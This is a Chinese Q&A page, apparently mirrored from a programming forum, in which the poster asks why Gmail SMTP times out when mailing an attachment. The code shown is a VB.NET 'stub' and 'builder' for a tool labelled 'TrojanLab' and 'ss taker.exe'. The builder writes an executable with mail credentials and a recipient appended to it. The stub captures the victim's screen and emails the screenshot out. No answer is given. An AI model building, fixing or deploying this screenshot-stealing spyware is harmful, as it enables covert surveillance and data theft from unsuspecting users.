邮件发送超时[gmail SMTP- Visual Studio]

当我尝试发送带附件的邮件时,出现超时错误,但是当我尝试不带附件的发送时,它可以工作。

我正在使用存根和服务器,如果我手动设置所有内容(例如用户名,密码,主机,端口),则可以正常工作,但是当我将其与服务器一起使用时,则一切正常,但邮件发送错误。使用附件可以显示超时,没有附件则可以使用。但是我需要附件。

我尝试搜索Google,但找不到任何有效的答案。

存根代码

Private Sub Form1_Load(sender As Object,e As EventArgs) Handles MyBase.Load
        Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath),"[S]")
        Dim currentScreen = Screen.FromHandle(Me.Handle).WorkingArea

        'create a bitmap of the working area
        Using bmp As New Bitmap(currentScreen.Width,currentScreen.Height)

            'copy the screen to the image
            Using g = Graphics.FromImage(bmp)
                g.CopyFromScreen(New Point(0,0),New Point(0,currentScreen.Size)
            End Using

            'save the image
            bmp.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "/tempss.bmp",System.Drawing.Imaging.ImageFormat.Png)
        End Using
        MsgBox("username " & drop(2))
        MsgBox("Password " & drop(3))
        MsgBox("Port " & drop(4))
        MsgBox("SSL " & drop(5))
        MsgBox("To " & drop(6))
        Try
            Dim Smtp_Server As New SmtpClient
            Dim e_mail As New MailMessage()
            Smtp_Server.UseDefaultCredentials = False
            Smtp_Server.Credentials = New Net.NetworkCredential(drop(2),drop(3))
            Smtp_Server.Port = drop(4)
            Smtp_Server.EnableSsl = True
            Smtp_Server.Host = drop(1)
            e_mail = New MailMessage()
            e_mail.From = New mailaddress(drop(2))
            e_mail.To.Add(drop(6))
            e_mail.Subject = "Test Mail From TrojanLab"
            e_mail.IsBodyHtml = True
            e_mail.Body = "Hello if you received this mail that means your SMTP working perfectly!"
            Dim attachment As System.Net.Mail.Attachment
            attachment = New System.Net.Mail.Attachment(My.Computer.FileSystem.SpecialDirectories.Temp & "/tempss.bmp")
            e_mail.Attachments.Add(attachment)
            Smtp_Server.Send(e_mail)
            Smtp_Server.Send(e_mail)
        Catch error_t As Exception
            MsgBox(error_t.ToString)
        End Try
        Me.Close()
    End Sub

服务器代码

Dim sfd As New SaveFileDialog
        Dim ssl As Integer
        If Form2.CheckBox1.Checked = True Then
            ssl = 1
        Else
            ssl = 0
        End If
        Try
            With sfd
                .FileName = "ss taker.exe"
                .Title = "Choose output folder"
                .Filter = "Executable File (*.exe)|*.exe"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[S]"
                    Dim buffer As Byte() = My.Resources.SS
                    My.Computer.FileSystem.WriteAllBytes(.FileName,buffer,False)

                    System.IO.File.AppendAllText(.FileName,"[S]" & Form2.TextBox1.Text & "[S]" & Form2.TextBox2.Text & "[S]" & Form2.TextBox3.Text & "[S]587[S]1[S]" & TextBox2.Text)

                    MsgBox("SS Taker build successful!",MsgBoxStyle.Information + MsgBoxStyle.OkOnly,"Success")
                End If
            End With
        Catch ex As Exception
            MsgBox("Failed to build!" & vbNewLine & ex.Message,MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,"Error")
        End Try

带有附件的邮件未发送。我想发送带有附件的邮件

Blackboard123 回答:邮件发送超时[gmail SMTP- Visual Studio]

暂时没有好的解决方案,如果你有好的解决方案,请发邮件至:iooj@foxmail.com
本文链接:https://www.f2er.com/3142559.html

大家都在问